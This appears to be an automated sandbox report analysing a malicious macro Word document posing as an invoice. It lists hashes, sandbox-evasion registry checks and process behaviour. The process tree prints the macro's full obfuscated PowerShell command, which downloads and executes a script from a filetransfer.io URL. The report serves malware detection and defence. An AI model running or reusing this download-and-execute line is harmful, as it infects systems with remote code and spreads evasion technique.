Analysis
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max time kernel
143s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
14-09-2022 17:35
Behavioral task
behavioral1
Sample
INVOICE PACKAGE LINK TO DOWNLOAD.docm
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
INVOICE PACKAGE LINK TO DOWNLOAD.docm
Resource
win10v2004-20220812-en
General
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Target
INVOICE PACKAGE LINK TO DOWNLOAD.docm
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Size
16KB
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MD5
f2d0c66b801244c059f636d08a474079
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SHA1
c62129fff128817b5af62aa0051c082f9992112e
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SHA256
08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873
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SHA512
5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d
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SSDEEP
384:/iMIoinwt9VRFPZ1AZy8WNxt/ZtNN6wyMDv6js2ZzoP6Yv:/7u651AQrxllN6wyMOAOUPPv
Malware Config
Extracted
https://filetransfer.io/data-package/UR2whuBv/download
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4188 4760 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 21 4188 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4760 WINWORD.EXE 4760 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4188 powershell.exe 4188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4188 powershell.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
WINWORD.EXEpid process 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 4760 wrote to memory of 4188 4760 WINWORD.EXE powershell.exe PID 4760 wrote to memory of 4188 4760 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/4188-139-0x0000000000000000-mapping.dmp
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memory/4188-140-0x000001DF268E0000-0x000001DF26902000-memory.dmpFilesize
136KB
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memory/4188-141-0x00007FFB84DC0000-0x00007FFB85881000-memory.dmpFilesize
10.8MB
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memory/4188-142-0x00007FFB84DC0000-0x00007FFB85881000-memory.dmpFilesize
10.8MB
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memory/4760-132-0x00007FFB70CF0000-0x00007FFB70D00000-memory.dmpFilesize
64KB
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memory/4760-133-0x00007FFB70CF0000-0x00007FFB70D00000-memory.dmpFilesize
64KB
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memory/4760-134-0x00007FFB70CF0000-0x00007FFB70D00000-memory.dmpFilesize
64KB
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memory/4760-135-0x00007FFB70CF0000-0x00007FFB70D00000-memory.dmpFilesize
64KB
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memory/4760-136-0x00007FFB70CF0000-0x00007FFB70D00000-memory.dmpFilesize
64KB
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memory/4760-137-0x00007FFB6E6B0000-0x00007FFB6E6C0000-memory.dmpFilesize
64KB
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memory/4760-138-0x00007FFB6E6B0000-0x00007FFB6E6C0000-memory.dmpFilesize
64KB